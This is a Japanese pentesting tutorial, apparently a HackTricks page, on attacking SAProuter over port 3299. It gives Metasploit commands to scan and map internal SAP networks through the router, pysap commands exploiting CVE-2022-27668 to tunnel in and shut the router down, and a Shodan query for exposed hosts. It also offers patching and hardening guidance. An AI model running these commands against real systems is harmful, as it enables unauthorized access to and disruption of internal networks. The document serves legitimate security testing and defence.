# 3299/tcp - SAProuterのペンテスト
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
これは、https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/ の投稿の要約です。
Metasploitを使用したSAProuterの侵入テストの理解
SAProuterは、主にインターネットと内部SAPネットワーク間のアクセスを制御するために、SAPシステムのリバースプロキシとして機能します。これは、組織のファイアウォールを通じてTCPポート3299を許可することにより、一般的にインターネットに公開されます。この設定により、SAProuterは高価値の内部ネットワークへのゲートウェイとして機能する可能性があるため、侵入テストの魅力的なターゲットとなります。
スキャンと情報収集
最初に、sap_service_discoveryモジュールを使用して、特定のIP上でSAPルーターが稼働しているかどうかを特定するためにスキャンが実行されます。このステップは、SAPルーターの存在とそのオープンポートを確認するために重要です。
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
発見に続いて、sap_router_info_request モジュールを使用してSAPルーターの設定に関するさらなる調査が行われ、内部ネットワークの詳細が明らかになる可能性があります。
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
内部サービスの列挙
取得した内部ネットワークの洞察をもとに、sap_router_portscanner モジュールを使用して、SAProuterを介して内部ホストとサービスを調査し、内部ネットワークとサービス構成のより深い理解を可能にします。
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
このモジュールは、特定のSAPインスタンスやポートをターゲットにする柔軟性があり、詳細な内部ネットワーク探索に効果的なツールです。
高度な列挙とACLマッピング
さらなるスキャンにより、SAProuter上でのアクセス制御リスト(ACL)の設定が明らかになり、どの接続が許可されているか、またはブロックされているかが詳細に示されます。この情報は、セキュリティポリシーや潜在的な脆弱性を理解する上で重要です。
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
内部ホストのブラインド列挙
SAProuterからの直接情報が限られているシナリオでは、ブラインド列挙のような技術を適用できます。このアプローチは、内部ホスト名の存在を推測し確認することを試み、直接的なIPアドレスなしで潜在的なターゲットを明らかにします。
ペネトレーションテストのための情報活用
ネットワークをマッピングし、アクセス可能なサービスを特定した後、ペネトレーションテスターはMetasploitのプロキシ機能を利用して、SAProuterを通じて内部SAPサービスのさらなる探索と悪用を行うことができます。
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run
結論
このアプローチは、SAProuterの安全な構成の重要性を強調し、ターゲットを絞ったペネトレーションテストを通じて内部ネットワークにアクセスする可能性を示しています。SAPルーターを適切に保護し、ネットワークセキュリティアーキテクチャにおけるその役割を理解することは、無許可のアクセスから守るために重要です。
Metasploitモジュールとその使用に関する詳細情報については、Rapid7のデータベースを訪れてください。
最近の脆弱性 (2022-2025)
CVE-2022-27668 – 不適切なアクセス制御 ➜ リモート管理コマンドの実行
2022年6月、SAPはSAProuter(すべてのカーネル ≥ 7.22)の重大な欠陥(CVSS 9.8)に対処するセキュリティノート3158375をリリースしました。認証されていない攻撃者は、許可されたsaprouttab
エントリを悪用して、リモートホストから管理パケット(例:shutdown、trace-level、connection-kill)を送信することができます。これは、ルーターが-X
リモート管理オプションなしで起動された場合でも可能です。
この問題は、指定されていないアドレス0.0.0.0をターゲットにすることで、ルーター自身のループバックインターフェースへのトンネルを構築できる可能性から生じます。一度トンネルが確立されると、攻撃者はローカルホストの権限を取得し、任意の管理コマンドを実行できます。
実際の悪用は、pysapフレームワークを使用して再現できます:
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0 -r 3299 \
-a 127.0.0.1 -l 3299 -v
# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299
影響を受けるバージョン
- スタンドアロン SAProuter 7.22 / 7.53
- カーネル 7.49, 7.77, 7.81, 7.85–7.88 (KRNL64NUC/UCを含む)
修正 / 緩和策
- SAP Note 3158375 で提供されるパッチを適用します。
saprouttab
のP
およびS
行からワイルドカード (*
) ターゲットを削除します。- ルーターが
-X
オプションなしで起動され、インターネットに直接公開されていないことを確認します。
更新されたツールとトリック
- pysap – 積極的にメンテナンスされており、カスタム NI/Router パケットの作成、ACL のファジング、CVE-2022-27668 エクスプロイトの自動化のための
router_portfw.py
、router_admin.py
&router_trace.py
を提供します。 - Nmap – カスタム SAProuter プローブを追加してサービス検出を拡張します:
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
NSE スクリプトや --script=banner
と組み合わせて、バナー文字列 (SAProuter <ver> on '<host>'
) を漏洩するバージョンを迅速にフィンガープリンティングします。
- Metasploit – 上記の補助モジュールは、pysap で作成された SOCKS または NI プロキシを介して引き続き機能し、ルーターが直接アクセスをブロックしている場合でもフルフレームワーク統合を可能にします。
ハードニング & 検出チェックリスト
- 周辺ファイアウォールでポート 3299/TCP をフィルタリング – 信頼できる SAP サポートネットワークからのトラフィックのみを許可します。
- SAProuter を 完全にパッチ適用 し、
saprouter -v
で確認し、最新のカーネルパッチレベルと比較します。 saprouttab
に 厳格なホスト固有 エントリを使用し、*
ワイルドカードを避け、任意のホストやポートをターゲットにするP
/S
ルールを拒否します。-S <secudir>
+ SNC でサービスを開始し、暗号化と相互認証を強制します。- リモート管理 (
-X
) を無効にし、可能であればリスナーを127.0.0.1
にバインドし、必要なトラフィックのために外部リバースプロキシを使用します。 - dev_rout ログを監視し、疑わしい
ROUTER_ADM
パケットや予期しないNI_ROUTE
リクエストを0.0.0.0
に対して探します。
参考文献
- https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/
- https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/
Shodan
port:3299 !HTTP Network packet too big
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。